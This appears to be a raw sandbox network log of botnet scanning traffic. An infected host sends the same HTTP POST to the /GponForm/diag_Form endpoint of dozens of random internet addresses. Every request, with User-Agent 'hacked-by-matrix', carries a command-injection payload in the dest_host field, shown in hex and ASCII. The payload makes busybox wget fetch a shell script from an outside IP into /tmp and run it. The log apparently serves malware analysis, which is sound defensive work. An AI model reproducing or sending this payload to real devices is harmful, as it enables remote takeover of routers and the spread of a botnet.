Mar 2, 2024 12:37:28.969043970 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.23	36282	79.74.245.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969053030 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.23	39698	37.117.203.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969063044 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.23	43128	42.131.24.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969115973 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.23	49496	42.165.18.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969131947 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.23	50348	210.84.192.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969151020 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.23	46856	2.47.94.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969199896 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.23	60414	212.253.205.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969217062 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.23	44282	118.92.179.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969224930 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.23	33906	5.50.42.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969242096 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.23	45930	118.127.45.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969486952 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.23	43786	109.239.102.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969492912 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.23	48764	212.144.53.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969517946 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.23	35016	118.212.6.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969522953 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.23	56902	5.240.156.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969527006 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.23	54552	42.134.224.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969527006 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.23	54956	5.62.76.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969579935 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.23	34326	42.180.109.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969609976 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.23	34684	5.67.231.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.969611883 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.23	44268	37.8.33.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990581036 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.23	41304	212.94.170.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990591049 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.23	34808	2.75.130.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990617037 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.23	35266	178.89.249.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990647078 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.23	54682	212.38.60.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990673065 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.23	45952	79.6.223.183	443

Timestamp	Bytes transferred	Direction	Data
